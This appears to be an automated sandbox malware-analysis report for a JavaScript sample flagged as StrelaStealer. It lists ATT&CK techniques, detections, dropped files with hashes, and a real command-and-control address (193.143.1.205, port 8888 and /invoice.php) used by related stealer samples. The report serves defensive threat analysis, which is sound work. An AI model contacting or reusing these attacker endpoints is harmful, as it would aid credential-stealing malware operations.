Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
12071652839003777.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/s64V	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.20	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000002.1511686823.000001BFCFC59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1510353131.000001BFCFC59000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2732341962.0000025E46C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1511409202.0000025E46B00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1511686823.000001BFCFC59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1511460441.000001BFCFC28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1512260257.000001BFCFC7D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1510353131.000001BFCFC59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1509051326.000001BFCFC7B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/s64V	net.exe, 00000007.00000002.1511460441.000001BFCFC28000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588853
Start date and time:	2025-01-11 06:19:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	12071652839003777.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 184.28.90.27, 23.209.209.135, 217.20.57.20, 2.16.168.107, 2.16.168.105, 3.219.243.226, 20.109.210.53, 23.56.162.204, 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 12071652839003777.js

Simulations

Behavior and APIs

Time	Type	Description
00:20:02	API Interceptor	23x Sleep call for process: powershell.exe modified
00:20:06	API Interceptor	1x Sleep call for process: net.exe modified
00:20:06	API Interceptor	2x Sleep call for process: svchost.exe modified
00:20:14	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	W1POMvaEjU.exe	Get hash	malicious	FormBook	Browse	217.20.57.18
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
bg.microsoft.map.fastly.net	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2435213596266856603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021893244871938
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAA:RJE+Lfki1GjHwU/+vVhWqpx
MD5:	8A438DC5B4172236997372920865A2DB
SHA1:	CDF87D946346BF24A5E50BA9074CF15F36EC82A0
SHA-256:	C75A95CC39237A77C49FE281F45EFAF9F46B2FCCA54DA19844289C60EE1F63DE
SHA-512:	3AAF7C462A508F87800FD9E5A67B87CE0162330F87A7FE25D0A69D1E592ED8721D3DE80EE5001A725C1D58D4BC67E818492CDDA55506EFDA9D332FC804D01F6A
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf5919c3c, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.943339834598836
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:DazaHvxXy2V2UR
MD5:	F066A6A716EA1919886D295BD25A671C
SHA1:	F0AEF7D83D61FBC2D6D87F9961CCB09D9CED6759
SHA-256:	D112C95AC3E327828F304A1D2CCF9E9A9D84F5A0B773C0BD7FB4DF6795FE3559
SHA-512:	205F5D4B603CDC172E680D892432463C3D0654A487E70C20F35A76461BD7BFA89ED7CB076B9FA84E8002A401D5AC1EF07A4F79A960D85FF5BB37700880706DD6
Malicious:	false
Preview:	...<... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...........................................}..................Y.O.....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08137462201530167
Encrypted:	false
SSDEEP:	3:mlXKYeVZkYll/nqlFcl1ZUllllgZZkYkllallGBnX/l/Tj/k7/t:mlXKzVxl/qlFclQ/l4aJlA254
MD5:	8FAA717D984A0B48163C051D2725952A
SHA1:	7C1BE0A4E419201A6DF4F45F272F3801F08DD914
SHA-256:	0E1EA3B30A1966F2EF55159CFF0842D74CE580A759A160E5EF0161FF7B94F356
SHA-512:	B244C6745831C2E1C12D00E8936CFD0734A0A70BC97EB9D44AFA5A49EA39F77EC8A93BEBA185B2BE860E49BB7B8F353C832E8EA0786C5A7258ADBF621E5D7395
Malicious:	false
Preview:	y........................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s..................Y.O.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.119264736293105
Encrypted:	false
SSDEEP:	6:iOZUh+q2PCHhJ2nKuAl9OmbnIFUtRZXWZmw/ZiVkwOCHhJ2nKuAl9OmbjLJ:7qh+vBHAahFUtRpW//UV56HAaSJ
MD5:	F26ADBF7D116799B30FF72D4CABB822B
SHA1:	6A6D6AB877F54558A567909155AB0CDF48B70CE1
SHA-256:	30D83E3DF05C292EB7641E7F66AE1E6C9321F842C69CAF30AA5EBBD7F8E87A39
SHA-512:	9FE998112FE949937598220A0C9EA5B460DFFB3A2947EABE1CA124C4C69AC516645CDC33C76BF2E3FAFE8DD984BDB7F026E5282A01D67C0630FC01233EAC16F5
Malicious:	false
Preview:	2025/01/11-00:20:06.461 1bcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:20:06.463 1bcc Recovering log #3.2025/01/11-00:20:06.463 1bcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.119264736293105
Encrypted:	false
SSDEEP:	6:iOZUh+q2PCHhJ2nKuAl9OmbnIFUtRZXWZmw/ZiVkwOCHhJ2nKuAl9OmbjLJ:7qh+vBHAahFUtRpW//UV56HAaSJ
MD5:	F26ADBF7D116799B30FF72D4CABB822B
SHA1:	6A6D6AB877F54558A567909155AB0CDF48B70CE1
SHA-256:	30D83E3DF05C292EB7641E7F66AE1E6C9321F842C69CAF30AA5EBBD7F8E87A39
SHA-512:	9FE998112FE949937598220A0C9EA5B460DFFB3A2947EABE1CA124C4C69AC516645CDC33C76BF2E3FAFE8DD984BDB7F026E5282A01D67C0630FC01233EAC16F5
Malicious:	false
Preview:	2025/01/11-00:20:06.461 1bcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:20:06.463 1bcc Recovering log #3.2025/01/11-00:20:06.463 1bcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.137355499898155
Encrypted:	false
SSDEEP:	6:iORqN+q2PCHhJ2nKuAl9Ombzo2jMGIFUtLrZmwtJVkwOCHhJ2nKuAl9Ombzo2jM4:7RqN+vBHAa8uFUtLr/tJV56HAa8RJ
MD5:	3ED596A54A366F3523E12D704EDBD61B
SHA1:	5286AC6BC1E9F0289E19001B27873AD8548B0C1F
SHA-256:	E0BF08EF5A43CF39160DB05064631001DB78011040A7C40DBD8D9B0242BEDEE3
SHA-512:	A5B1C56A315E47FB613CB57CCAA27544D7A21E796716B3C888CF89BE12D4139066A79964328D38FFB2868892F5A79281AD5F5C1A69A096BFB91913532B7ACE7F
Malicious:	false
Preview:	2025/01/11-00:20:06.531 167c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:20:06.532 167c Recovering log #3.2025/01/11-00:20:06.534 167c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.137355499898155
Encrypted:	false
SSDEEP:	6:iORqN+q2PCHhJ2nKuAl9Ombzo2jMGIFUtLrZmwtJVkwOCHhJ2nKuAl9Ombzo2jM4:7RqN+vBHAa8uFUtLr/tJV56HAa8RJ
MD5:	3ED596A54A366F3523E12D704EDBD61B
SHA1:	5286AC6BC1E9F0289E19001B27873AD8548B0C1F
SHA-256:	E0BF08EF5A43CF39160DB05064631001DB78011040A7C40DBD8D9B0242BEDEE3
SHA-512:	A5B1C56A315E47FB613CB57CCAA27544D7A21E796716B3C888CF89BE12D4139066A79964328D38FFB2868892F5A79281AD5F5C1A69A096BFB91913532B7ACE7F
Malicious:	false
Preview:	2025/01/11-00:20:06.531 167c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:20:06.532 167c Recovering log #3.2025/01/11-00:20:06.534 167c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.949441607411077
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqg4hsBdOg2HVvcaq3QYiub6P7E4T3y:Y2sRdsIydMHVe3QYhbS7nby
MD5:	2DE276227686F4970C231DA8D4A4E02E
SHA1:	95B4CEBD470183F92DAA6CB78F123338962097FF
SHA-256:	A8CD0851085598AC5C9C3B7669CF7CBED378F524FB04CC1F50C1EE9F1DE63ACC
SHA-512:	659BBDE9B2FDD3A0EF707B7478A77D6BAB3654C7527021E8FAF78CBA84FCACE336A6506FBC7CEF4ECE4DC119EF2AE96A8660AB06F0EC3D148B48CD78DD2A0CE8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132818196246","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123302},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ba69b8e6-324f-4b5c-a065-16b27d069c13.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.949441607411077
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqg4hsBdOg2HVvcaq3QYiub6P7E4T3y:Y2sRdsIydMHVe3QYhbS7nby
MD5:	2DE276227686F4970C231DA8D4A4E02E
SHA1:	95B4CEBD470183F92DAA6CB78F123338962097FF
SHA-256:	A8CD0851085598AC5C9C3B7669CF7CBED378F524FB04CC1F50C1EE9F1DE63ACC
SHA-512:	659BBDE9B2FDD3A0EF707B7478A77D6BAB3654C7527021E8FAF78CBA84FCACE336A6506FBC7CEF4ECE4DC119EF2AE96A8660AB06F0EC3D148B48CD78DD2A0CE8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132818196246","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123302},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.236055981011968
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bZ+ns2:S43C4mS7fFi0KFYDjr3LWO3V3aw+bZ+T
MD5:	E60CB3B4982EC3EA88440D40F067C84F
SHA1:	2D58B22A13E513A15D21258D5F7BF07A33B71F54
SHA-256:	1B79A79EC701E895C2535DE13125A45201BE3424E2563350E7D7480BA67BF184
SHA-512:	13EAE66B90396369BB5FF8B3ED2825E3448EA5846B8B2515158C3CBB566CB1E36DB6F1CB087D590FBA7CB2B8DD5C59BC70D3E4EF0E5C079E0FF50816598EE07B
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.116945566963374
Encrypted:	false
SSDEEP:	6:iOdu7N+q2PCHhJ2nKuAl9OmbzNMxIFUtdTSGXZmw7jSNVkwOCHhJ2nKuAl9OmbzE:707N+vBHAa8jFUt/X/7uNV56HAa84J
MD5:	3BC70EDE1CEE3D2EBE53EB3F53526115
SHA1:	5227C6FAA3376E8820A6B80F2DC31AD0839F190E
SHA-256:	4A20DBDD1396FCC5785C4495731218F15D14D90BA2991A762CF2DF11DB334908
SHA-512:	790B42108CA1A6C415B765861C6F1FF5EF3817F31D666D587D012F6F082DAC50D13FC49DB1E457D7686E197A09299634102A97DA2471E57C847B87E3E275BE7B
Malicious:	false
Preview:	2025/01/11-00:20:06.621 167c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:20:06.622 167c Recovering log #3.2025/01/11-00:20:06.623 167c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.116945566963374
Encrypted:	false
SSDEEP:	6:iOdu7N+q2PCHhJ2nKuAl9OmbzNMxIFUtdTSGXZmw7jSNVkwOCHhJ2nKuAl9OmbzE:707N+vBHAa8jFUt/X/7uNV56HAa84J
MD5:	3BC70EDE1CEE3D2EBE53EB3F53526115
SHA1:	5227C6FAA3376E8820A6B80F2DC31AD0839F190E
SHA-256:	4A20DBDD1396FCC5785C4495731218F15D14D90BA2991A762CF2DF11DB334908
SHA-512:	790B42108CA1A6C415B765861C6F1FF5EF3817F31D666D587D012F6F082DAC50D13FC49DB1E457D7686E197A09299634102A97DA2471E57C847B87E3E275BE7B
Malicious:	false
Preview:	2025/01/11-00:20:06.621 167c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:20:06.622 167c Recovering log #3.2025/01/11-00:20:06.623 167c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
